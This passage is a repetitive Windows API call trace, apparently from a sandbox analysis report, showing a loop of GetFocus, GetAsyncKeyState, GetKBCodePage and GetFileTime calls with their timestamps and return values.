lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.644] GetFocus () returned 0x0 [0032.644] GetAsyncKeyState (vKey=58) returned 0 [0032.644] GetKBCodePage () returned 0x1b5 [0032.644] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.644] GetFocus () returned 0x0 [0032.644] GetAsyncKeyState (vKey=58) returned 0 [0032.644] GetKBCodePage () returned 0x1b5 [0032.644] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.644] GetFocus () returned 0x0 [0032.644] GetAsyncKeyState (vKey=58) returned 0 [0032.644] GetKBCodePage () returned 0x1b5 [0032.644] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.644] GetFocus () returned 0x0 [0032.644] GetAsyncKeyState (vKey=58) returned 0 [0032.644] GetKBCodePage () returned 0x1b5 [0032.644] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.644] GetFocus () returned 0x0 [0032.644] GetAsyncKeyState (vKey=58) returned 0 [0032.644] GetKBCodePage () returned 0x1b5 [0032.644] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.645] GetFocus () returned 0x0 [0032.645] GetAsyncKeyState (vKey=58) returned 0 [0032.645] GetKBCodePage () returned 0x1b5 [0032.645] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.645] GetFocus () returned 0x0 [0032.645] GetAsyncKeyState (vKey=58) returned 0 [0032.645] GetKBCodePage () returned 0x1b5 [0032.645] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.645] GetFocus () returned 0x0 [0032.645] GetAsyncKeyState (vKey=58) returned 0 [0032.645] GetKBCodePage () returned 0x1b5 [0032.645] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.645] GetFocus () returned 0x0 [0032.645] GetAsyncKeyState (vKey=58) returned 0 [0032.645] GetKBCodePage () returned 0x1b5 [0032.645] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.645] GetFocus () returned 0x0 [0032.645] GetAsyncKeyState (vKey=58) returned 0 [0032.645] GetKBCodePage () returned 0x1b5 [0032.645] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.645] GetFocus () returned 0x0 [0032.645] GetAsyncKeyState (vKey=58) returned 0 [0032.645] GetKBCodePage () returned 0x1b5 [0032.645] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.645] GetFocus () returned 0x0 [0032.645] GetAsyncKeyState (vKey=58) returned 0 [0032.645] GetKBCodePage () returned 0x1b5 [0032.645] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.645] GetFocus () returned 0x0 [0032.645] GetAsyncKeyState (vKey=58) returned 0 [0032.645] GetKBCodePage () returned 0x1b5 [0032.645] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.645] GetFocus () returned 0x0 [0032.645] GetAsyncKeyState (vKey=58) returned 0 [0032.645] GetKBCodePage () returned 0x1b5 [0032.645] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.645] GetFocus () returned 0x0 [0032.645] GetAsyncKeyState (vKey=58) returned 0 [0032.646] GetKBCodePage () returned 0x1b5 [0032.646] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.646] GetFocus () returned 0x0 [0032.646] GetAsyncKeyState (vKey=58) returned 0 [0032.646] GetKBCodePage () returned 0x1b5 [0032.646] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.646] GetFocus () returned 0x0 [0032.646] GetAsyncKeyState (vKey=58) returned 0 [0032.646] GetKBCodePage () returned 0x1b5 [0032.646] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.646] GetFocus () returned 0x0 [0032.646] GetAsyncKeyState (vKey=58) returned 0 [0032.646] GetKBCodePage () returned 0x1b5 [0032.646] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.646] GetFocus () returned 0x0 [0032.646] GetAsyncKeyState (vKey=58) returned 0 [0032.646] GetKBCodePage () returned 0x1b5 [0032.646] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.646] GetFocus () returned 0x0 [0032.646] GetAsyncKeyState (vKey=58) returned 0 [0032.646] GetKBCodePage () returned 0x1b5 [0032.646] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.646] GetFocus () returned 0x0 [0032.646] GetAsyncKeyState (vKey=58) returned 0 [0032.646] GetKBCodePage () returned 0x1b5 [0032.646] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.646] GetFocus () returned 0x0 [0032.646] GetAsyncKeyState (vKey=58) returned 0 [0032.646] GetKBCodePage () returned 0x1b5 [0032.646] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.646] GetFocus () returned 0x0 [0032.646] GetAsyncKeyState (vKey=58) returned 0 [0032.646] GetKBCodePage () returned 0x1b5 [0032.646] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.646] GetFocus () returned 0x0 [0032.646] GetAsyncKeyState (vKey=58) returned 0 [0032.647] GetKBCodePage () returned 0x1b5 [0032.647] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.647] GetFocus () returned 0x0 [0032.647] GetAsyncKeyState (vKey=58) returned 0 [0032.647] GetKBCodePage () returned 0x1b5 [0032.647] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.647] GetFocus () returned 0x0 [0032.647] GetAsyncKeyState (vKey=58) returned 0 [0032.647] GetKBCodePage () returned 0x1b5 [0032.647] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.647] GetFocus () returned 0x0 [0032.647] GetAsyncKeyState (vKey=58) returned 0 [0032.647] GetKBCodePage () returned 0x1b5 [0032.647] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.647] GetFocus () returned 0x0 [0032.647] GetAsyncKeyState (vKey=58) returned 0 [0032.647] GetKBCodePage () returned 0x1b5 [0032.647] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.647] GetFocus () returned 0x0 [0032.647] GetAsyncKeyState (vKey=58) returned 0 [0032.647] GetKBCodePage () returned 0x1b5 [0032.647] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.647] GetFocus () returned 0x0 [0032.647] GetAsyncKeyState (vKey=58) returned 0 [0032.647] GetKBCodePage () returned 0x1b5 [0032.647] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.647] GetFocus () returned 0x0 [0032.647] GetAsyncKeyState (vKey=58) returned 0 [0032.647] GetKBCodePage () returned 0x1b5 [0032.647] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.647] GetFocus () returned 0x0 [0032.647] GetAsyncKeyState (vKey=58) returned 0 [0032.647] GetKBCodePage () returned 0x1b5 [0032.647] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.647] GetFocus () returned 0x0 [0032.647] GetAsyncKeyState (vKey=58) returned 0 [0032.647] GetKBCodePage () returned 0x1b5 [0032.648] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.648] GetFocus () returned 0x0 [0032.648] GetAsyncKeyState (vKey=58) returned 0 [0032.648] GetKBCodePage () returned 0x1b5 [0032.648] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.648] GetFocus () returned 0x0 [0032.648] GetAsyncKeyState (vKey=58) returned 0 [0032.648] GetKBCodePage () returned 0x1b5 [0032.648] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.648] GetFocus () returned 0x0 [0032.648] GetAsyncKeyState (vKey=58) returned 0 [0032.648] GetKBCodePage () returned 0x1b5 [0032.648] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.648] GetFocus () returned 0x0 [0032.648] GetAsyncKeyState (vKey=58) returned 0 [0032.648] GetKBCodePage () returned 0x1b5 [0032.648] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.648] GetFocus () returned 0x0 [0032.648] GetAsyncKeyState (vKey=58) returned 0 [0032.648] GetKBCodePage () returned 0x1b5 [0032.648] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.648] GetFocus () returned 0x0 [0032.648] GetAsyncKeyState (vKey=58) returned 0 [0032.648] GetKBCodePage () returned 0x1b5 [0032.648] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.648] GetFocus () returned 0x0 [0032.648] GetAsyncKeyState (vKey=58) returned 0 [0032.648] GetKBCodePage () returned 0x1b5 [0032.649] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.649] GetFocus () returned 0x0 [0032.649] GetAsyncKeyState (vKey=58) returned 0 [0032.649] GetKBCodePage () returned 0x1b5 [0032.649] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.649] GetFocus () returned 0x0 [0032.649] GetAsyncKeyState (vKey=58) returned 0 [0032.649] GetKBCodePage () returned 0x1b5 [0032.649] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.649] GetFocus () returned 0x0 [0032.649] GetAsyncKeyState (vKey=58) returned 0 [0032.649] GetKBCodePage () returned 0x1b5 [0032.649] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.649] GetFocus () returned 0x0 [0032.649] GetAsyncKeyState (vKey=58) returned 0 [0032.649] GetKBCodePage () returned 0x1b5 [0032.649] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.649] GetFocus () returned 0x0 [0032.649] GetAsyncKeyState (vKey=58) returned 0 [0032.649] GetKBCodePage () returned 0x1b5 [0032.649] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.649] GetFocus () returned 0x0 [0032.649] GetAsyncKeyState (vKey=58) returned 0 [0032.649] GetKBCodePage () returned 0x1b5 [0032.649] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.649] GetFocus () returned 0x0 [0032.649] GetAsyncKeyState (vKey=58) returned 0 [0032.649] GetKBCodePage () returned 0x1b5 [0032.649] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.649] GetFocus () returned 0x0 [0032.649] GetAsyncKeyState (vKey=58) returned 0 [0032.649] GetKBCodePage () returned 0x1b5 [0032.649] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.649] GetFocus () returned 0x0 [0032.649] GetAsyncKeyState (vKey=58) returned 0 [0032.649] GetKBCodePage () returned 0x1b5 [0032.650] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.650] GetFocus () returned 0x0 [0032.650] GetAsyncKeyState (vKey=58) returned 0 [0032.650] GetKBCodePage () returned 0x1b5 [0032.650] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.650] GetFocus () returned 0x0 [0032.650] GetAsyncKeyState (vKey=58) returned 0 [0032.650] GetKBCodePage () returned 0x1b5 [0032.650] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.650] GetFocus () returned 0x0 [0032.650] GetAsyncKeyState (vKey=58) returned 0 [0032.650] GetKBCodePage () returned 0x1b5 [0032.650] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), 